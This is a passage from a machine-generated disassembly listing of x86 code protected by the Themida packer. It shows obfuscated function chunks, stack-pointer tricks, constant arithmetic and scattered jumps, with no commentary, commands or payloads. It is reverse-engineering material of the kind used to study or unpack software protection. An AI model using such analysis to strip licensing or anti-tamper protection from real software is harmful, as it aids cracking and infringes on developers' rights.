		mov	esp, [esp+4+var_4]
		add	word ptr [esp+4+var_4],	ax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_568F83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57236D


loc_56DA80:				; CODE XREF: sub_57236D-20EAj
		mov	[esp+4+var_4], eax
		push	edi
		mov	edi, 4
		push	edi
		pop	eax
		pop	edi
		add	ecx, eax
		pop	eax
		xor	ecx, [esp+0]
		jmp	loc_561B9C
; END OF FUNCTION CHUNK	FOR sub_57236D
; ---------------------------------------------------------------------------


loc_56DA97:				; CODE XREF: Themida_:0056A202j
		pop	edx
		jmp	loc_56A66E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_56DA9D:				; CODE XREF: sub_56D359+5612j
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp+8+var_8]
		pop	esp
		jmp	loc_569670
; END OF FUNCTION CHUNK	FOR sub_56D359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_56DAA9:				; CODE XREF: sub_56651E+62CEj
		mov	[esp+0], edx
		push	ebp
		jmp	loc_56F22B
; END OF FUNCTION CHUNK	FOR sub_56651E

; =============== S U B	R O U T	I N E =======================================



sub_56DAB2	proc near		; CODE XREF: sub_566400-3C11j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00564051 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00566596 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00567272 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057126A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00573055 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 0057401B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00575205 SIZE 0000000B BYTES

		push	ebp
		sub	esp, 4
		mov	[esp+8+var_8], edi
		mov	edi, 3757244Fh
		mov	ebp, edi
		jmp	loc_575205
sub_56DAB2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_56DAC8:				; CODE XREF: sub_572641-1116Cj
		sub	al, 0Fh
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	bl, 18h
		sub	esp, 2
		mov	word ptr [esp+8+var_8],	dx
		push	ebx
		mov	bl, 4
		mov	dl, bl
		pop	ebx
		add	bl, dl
		mov	dx, word ptr [esp+8+var_8]
		add	esp, 2
		jmp	loc_5658A3
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56DAF0:				; CODE XREF: sub_565632+1AC1j
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	ebp, [esp+4+var_4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_571CC7
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_56DB1A:				; CODE XREF: sub_574A21-B7D5j
		or	edx, 316D0658h
		dec	edx
		xor	edx, 463943E6h
		xor	edx, 7F446CBFh
		jmp	loc_569280
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_56DB32:				; CODE XREF: sub_56BD44-494Ej
		sub	ecx, 0F3C52C3Ah
		mov	edx, ecx
		pop	ecx
		or	edx, 1C831AC8h
		jmp	loc_5684FC
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680F2


loc_56DB46:				; CODE XREF: sub_5680F2+A1B9j
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	6395h
		mov	[esp-4+arg_0], ecx
		push	306h
		jmp	loc_564441
; END OF FUNCTION CHUNK	FOR sub_5680F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_56DB6F:				; CODE XREF: sub_569FB8+635Ej
		mov	dh, ch
		mov	ah, dh
		mov	edx, [esp+0Eh+var_E]
		push	edi
		mov	edi, esp
		jmp	loc_56AF14
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_56DB7E:				; CODE XREF: sub_570FB7-1AADj
		add	eax, 571C772Ah
		xchg	eax, edi
		not	edi
		xor	eax, edi
		jmp	loc_56D987
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_56DB8D:				; CODE XREF: sub_574FC9-1406Fj
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	ax, [esp+0]
		push	eax
		jmp	loc_56D1B6
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_56DB9D:				; CODE XREF: sub_574CDD-1084j
		push	7085h
		mov	[esp+4+var_4], edx
		push	edi
		mov	edi, 0D00517Fh
		jmp	loc_563897
; END OF FUNCTION CHUNK	FOR sub_574CDD

; =============== S U B	R O U T	I N E =======================================



sub_56DBB0	proc near		; CODE XREF: sub_564EBE+304Cj

; FUNCTION CHUNK AT 005615B7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056C7B1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056CCC0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056FE4D SIZE 00000012 BYTES

		push	ebp
		mov	ebp, 0D61DD54Eh
		xor	ecx, ebp
		pop	ebp
		add	edx, ecx
		mov	ecx, [esp+0]
		jmp	loc_5615B7
sub_56DBB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_56DBC3:				; CODE XREF: sub_56EE9F-219Fj
		xor	ebx, 5889556Eh
		mov	eax, ebx
		pop	ebx
		jmp	loc_571597
; END OF FUNCTION CHUNK	FOR sub_56EE9F

; =============== S U B	R O U T	I N E =======================================



sub_56DBD1	proc near		; CODE XREF: sub_570E81-38FDj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00562388 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056B644 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056DA09 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00571415 SIZE 00000019 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 68A60D4h
		add	[esp+4+arg_0], eax
		jmp	loc_56B644
sub_56DBD1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F3B2


loc_56DBE5:				; CODE XREF: sub_56F3B2-A1BDj
		pop	esp
		shl	dword ptr [esp+0], cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_56DBEF:				; CODE XREF: sub_561541+772Fj
		push	eax
		push	ebx
		mov	ebx, 44485FFBh
		mov	eax, ebx
		pop	ebx
		xor	ecx, eax
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	6A7Bh
		mov	[esp+8+var_8], esi
		mov	esi, 658E587Ch
		not	esi
		jmp	loc_567806
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------


loc_56DC15:				; CODE XREF: Themida_:00563296j
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_56C8E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_56DC20:				; CODE XREF: sub_569A75+Aj
		mov	cl, 8Dh
		jmp	loc_56105E
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_56DC27:				; CODE XREF: sub_56B06D-58j
		sub	ecx, 192C4019h
		add	ecx, eax
		add	ecx, 192C4019h
		add	ecx, 64EF5701h
		jmp	loc_565000
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56DC40:				; CODE XREF: sub_561418+7BFEj
		add	ecx, 0AFE81DD8h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+10h+var_10]
		pop	esp
		push	esi
		jmp	loc_56C208
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_56DC53:				; CODE XREF: sub_571F6F-BD09j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+14h+var_14]
		jmp	loc_5625EE
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565849


loc_56DC64:				; CODE XREF: sub_565849+6j
		inc	ebx
		neg	ebx
		shr	ebx, 4
		push	edx
		mov	edx, 950ECA1Eh
		jmp	loc_5655F9
; END OF FUNCTION CHUNK	FOR sub_565849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56DC75:				; CODE XREF: sub_564D26+FDF6j
		pop	edi
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	ebp, 49A66314h
		sub	ebp, ecx
		sub	ebp, 49A66314h
		pop	ecx
		xchg	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		mov	ebx, 80h
		and	ecx, ebx
		push	[esp+4+var_4]
		jmp	loc_560074
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5750DE


loc_56DCA2:				; CODE XREF: sub_5750DE-F174j
		push	59D24C86h
		pop	edx
		jmp	sub_56331C
; END OF FUNCTION CHUNK	FOR sub_5750DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_56DCAD:				; CODE XREF: sub_56E126+132Bj
		or	esi, 1506244Eh
		xor	esi, 3DCA501Ch
		jmp	loc_564F7E
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_56DCBE:				; CODE XREF: sub_56B06D-6ECEj
		add	[esp+8+var_4], esi
		pop	esi
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		push	2929h
		mov	[esp+4+var_4], edi
		push	eax
		jmp	loc_56EBE0
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD97


loc_56DCDA:				; CODE XREF: sub_56FD97-9F77j
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		push	3EECh
		mov	[esp+4+var_4], ebp
		mov	ebp, 27F16224h
		jmp	loc_565E03
; END OF FUNCTION CHUNK	FOR sub_56FD97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57377E


loc_56DCF3:				; CODE XREF: sub_57377E-125B5j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_56357B
; END OF FUNCTION CHUNK	FOR sub_57377E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_56DD0A:				; CODE XREF: sub_56DA43-3A7Bj
		add	esp, 4
		shl	ebp, 8
		xor	ebp, 37670B5Ch
		jmp	loc_572F73
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------


loc_56DD1B:				; CODE XREF: Themida_:0057048Aj
		push	41491402h
		pop	ebp
		push	ecx
		mov	ecx, 2DAF1A3Fh
		add	ecx, 0F3B7F141h
		sub	ebp, ecx
		jmp	loc_57406A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_56DD34:				; CODE XREF: sub_566117+6BF7j
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		push	ebx
		push	edi
		push	ebx
		mov	ebx, 29D85C7Bh
		mov	edi, ebx
		pop	ebx
		mov	ebx, 0D627A389h
		sub	ebx, 425402B3h
		jmp	loc_566A74
; END OF FUNCTION CHUNK	FOR sub_566117

; =============== S U B	R O U T	I N E =======================================



sub_56DD54	proc near		; CODE XREF: sub_5753A5-DC40j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00561B70 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00565202 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005658F4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056850A SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056C378 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056F40B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570D58 SIZE 00000028 BYTES

		push	ebp
		mov	ebp, 1B3D5BC9h
		jmp	loc_56F40B
sub_56DD54	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_56DD5F:				; CODE XREF: sub_574949-EB97j
		not	eax
		xchg	eax, esi
		xor	esi, 75C30254h
		jmp	loc_56DA15
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56DD6D:				; CODE XREF: sub_56AB5E+2CC0j
		pop	eax
		jmp	loc_57230B
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD38


loc_56DD73:				; CODE XREF: sub_56FD38-FB20j
		mov	eax, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56F968
; END OF FUNCTION CHUNK	FOR sub_56FD38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_56DD83:				; CODE XREF: sub_569FB8+6E45j
		xor	cl, 6
		add	cl, 25h
		sub	cl, 5Dh
		mov	dl, cl
		pop	ecx
		jmp	loc_56E03F
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_56DD94:				; CODE XREF: sub_566117+9j
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	ebx
		jmp	loc_569112
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56DDA3:				; CODE XREF: sub_565632+26B1j
		xor	ecx, 64C72987h
		jmp	loc_570865
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56DDAE:				; CODE XREF: sub_563A7F+1FBj
		add	ecx, edx
		add	ecx, 6C272A13h
		pop	edx
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 545F4284h
		jmp	loc_56F851
; END OF FUNCTION CHUNK	FOR sub_563A7F

; =============== S U B	R O U T	I N E =======================================



sub_56DDC5	proc near		; DATA XREF: Themida_:0055FE58o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056B6A0 SIZE 00000005 BYTES

		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp-4+arg_0], eax
		pushf
		jmp	loc_56B6A0
sub_56DDC5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_56DDD3:				; CODE XREF: sub_565A8D+Ej
		push	ecx
		mov	ecx, 4
		add	[esp+0Ch+var_8], ecx
		pop	ecx
		pop	ebx
		add	ebx, 4
		push	ecx
		jmp	loc_5699DA
; END OF FUNCTION CHUNK	FOR sub_565A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56DDEB:				; CODE XREF: sub_570732-AB4j
		sub	edi, 0A011B68h
		add	edi, ecx
		add	edi, 0A011B68h
		jmp	loc_5638BF
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_56DDFE:				; CODE XREF: sub_560EA2+B073j
		push	esi
		mov	esi, 7B1216A7h
		xor	ebx, esi
		jmp	loc_5655C1
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_56DE0B:				; CODE XREF: sub_574CDD-56E3j
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	3417h
		mov	[esp+0], esi
		mov	esi, 1DDC30E9h
		jmp	loc_567924
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_56DE25:				; CODE XREF: sub_564BC5-10CAj
		add	eax, 57D9123Dh
		push	edi
		mov	edi, eax
		mov	edx, edi
		jmp	loc_5646A6
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56DE34:				; CODE XREF: sub_564D26-4C74j
		pop	edx
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		jmp	loc_560576
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------


loc_56DE44:				; CODE XREF: Themida_:00566A3Cj
		add	edx, 3ADF2B90h
		push	eax
		mov	eax, 1BED3AB8h
		sub	edx, eax
		pop	eax
		jmp	loc_561754
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56DE58:				; CODE XREF: sub_574304-CD0Ej
		mov	edx, 1D922FA7h
		inc	edx
		dec	edx
		jmp	loc_56551F
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_56DE64:				; CODE XREF: sub_568646+66F4j
		push	ecx
		push	eax
		jmp	loc_56E0D6
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_56DE6B:				; CODE XREF: sub_574F16-AD1Cj
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp+6+var_6]
		jmp	loc_568E37
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563207


loc_56DE7F:				; CODE XREF: sub_563207-1610j
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		push	1A06h
		jmp	loc_571F38
; END OF FUNCTION CHUNK	FOR sub_563207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_56DE94:				; CODE XREF: sub_571F6F-1118Dj
		mov	ch, dh
		mov	edx, [esp+0Ch+var_E+2]
		add	esp, 4
		push	edx
		jmp	loc_567EAC
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_56DEA2:				; CODE XREF: sub_56A608-42B2j
		or	eax, 50321B31h
		shl	eax, 6
		or	eax, 1E9A6020h
		inc	eax
		add	eax, 733ABCC5h
		add	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 479C20BCh
		jmp	loc_56C00E
; END OF FUNCTION CHUNK	FOR sub_56A608

; =============== S U B	R O U T	I N E =======================================



sub_56DEC6	proc near		; DATA XREF: Themida_:0055FE3Co
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp+0], al
		pushf
		jmp	loc_55FF9F
sub_56DEC6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567866


loc_56DED5:				; CODE XREF: sub_567866-1C7Fj
		push	edi
		mov	edi, esp
		jmp	loc_56276F
; END OF FUNCTION CHUNK	FOR sub_567866
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_56DEDD:				; CODE XREF: sub_574CDD-6182j
		sub	esi, 4A95705Ah
		add	esi, 4291405Eh
		push	edi
		mov	edi, 2EEB1A0Eh
		neg	edi
		inc	edi
		push	ebp
		mov	ebp, 94D68E7Bh
		add	edi, ebp
		pop	ebp
		sub	ecx, edi
		mov	edi, [esp+4+var_4]
		push	edx
		jmp	loc_56BDC5
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570B3C


loc_56DF06:				; CODE XREF: sub_570B3C-7A9Ej
		mov	[esp+0], eax
		mov	eax, 5E675F99h
		add	ebx, eax
		pop	eax
		jmp	loc_56974A
; END OF FUNCTION CHUNK	FOR sub_570B3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_56DF16:				; CODE XREF: sub_568764+B2A3j
		add	ecx, 13105F79h
		pop	edx
		mov	esi, [esp+4+var_4]
		add	esp, 4
		add	ecx, 2
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		jmp	loc_57426F
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_56DF37:				; CODE XREF: sub_569A84-14Bj
		push	eax
		mov	eax, 4B440A4Bh
		push	ecx
		jmp	loc_56A298
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F3B2


loc_56DF43:				; CODE XREF: sub_56F3B2-C776j
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		push	esi
		push	ecx
		push	710566CCh
		jmp	loc_56E88D
; END OF FUNCTION CHUNK	FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_56DF59:				; CODE XREF: sub_564BC5+5BE3j
		push	edx
		sub	esp, 4
		jmp	loc_571FAD
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_56DF65:				; CODE XREF: sub_56EFD2+6j
		add	[esp+4+var_4], 4
		pop	edi
		push	6317h
		jmp	loc_564DC5
; END OF FUNCTION CHUNK	FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_56DF77:				; CODE XREF: sub_569AB3-3236j
		push	esi
		mov	esi, esp
		jmp	loc_5621FD
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_56DF7F:				; CODE XREF: sub_563819+D4A7j
		mov	[esp-8+arg_4], ecx
		mov	ecx, 0
		add	ecx, edx
		push	2C70h
		mov	[esp-4+arg_0], edx
		mov	edx, 0
		add	edx, ecx
		add	eax, [edx]
		pop	edx
		pop	ecx
		push	[esp-0Ch+arg_8]
		jmp	loc_5630B5
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------


loc_56DFA4:				; CODE XREF: Themida_:0056862Bj
		pop	esp
		jmp	loc_570E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573167


loc_56DFAA:				; CODE XREF: sub_573167-DF25j
		pop	esi
		sub	esi, 5DAF43E9h
		pop	eax
		mov	edx, [esp+8+var_8]
		add	esp, 4
		add	ebx, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		add	ebx, 4
		push	11CCh
		mov	[esp+4+var_4], ebx
		jmp	loc_565358
; END OF FUNCTION CHUNK	FOR sub_573167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56DFD3:				; CODE XREF: sub_563A7F+23EDj
		or	ebp, 0F7032F0h
		add	ebp, 735C604Dh
		add	ebp, 7D2C60BAh
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], ebx
		xor	ebx, [esp+0Eh+var_10+2]
		jmp	loc_563C6D
; END OF FUNCTION CHUNK	FOR sub_563A7F

; =============== S U B	R O U T	I N E =======================================



sub_56DFF9	proc near		; DATA XREF: Themida_:0055FDE0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00564478 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564699 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FDD9 SIZE 0000000B BYTES

		mov	ax, [esp+0]
		push	5701h
		mov	[esp+4+var_4], edx
		push	3374h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+8+var_8]
		jmp	loc_56FDD9
sub_56DFF9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_56E02C:				; CODE XREF: sub_568E5C+632Ej
		mov	[esp+0], ebp
		push	edx
		push	0F3C2483h
		pop	edx
		neg	edx
		not	edx
		jmp	loc_56D50D
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_56E03F:				; CODE XREF: sub_569FB8+3DD7j
		add	al, dl
		mov	edx, [esp+6+var_6]
		jmp	loc_56C180
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560276


loc_56E049:				; CODE XREF: sub_560276+2F7Dj
		mov	edi, 0FFFFFFFFh
		sub	edx, edi
		pop	edi
		add	edx, 3B5438EDh
		jmp	sub_57377E
; END OF FUNCTION CHUNK	FOR sub_560276

; =============== S U B	R O U T	I N E =======================================



sub_56E05C	proc near		; CODE XREF: sub_56592A+4j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056087B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00562151 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056343E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563945 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564E72 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565271 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056729E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A6EB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056C975 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005740AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005754CD SIZE 0000000D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	322Eh
		mov	[esp+8+var_8], edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	4553h
		mov	[esp+8+var_8], ebp
		push	edi
		jmp	loc_5754CD
sub_56E05C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56E082:				; CODE XREF: sub_56CC46+76F2j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		push	238Ch
		mov	[esp+0], ebx
		push	esp
		pop	ebx
		jmp	loc_5705ED
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56E0A5:				; CODE XREF: sub_574656-CEDEj
		and	esi, 7C1E4D7Ah
		jmp	loc_56C9D7
; END OF FUNCTION CHUNK	FOR sub_574656

; =============== S U B	R O U T	I N E =======================================



sub_56E0B0	proc near		; DATA XREF: Themida_:0055FD6Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005605A4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00560945 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005622EB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563555 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056613E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569845 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AF52 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B924 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00570DAF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00571081 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00575284 SIZE 00000009 BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	eax
		add	esp, 4
		push	3AE8h
		mov	[esp+4+var_4], ebp
		push	eax
		jmp	loc_56613E
sub_56E0B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_56E0CB	proc near		; CODE XREF: sub_56C79C+9j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0055FFE5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005620BF SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005666EC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056A24E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056AE62 SIZE 00000009 BYTES
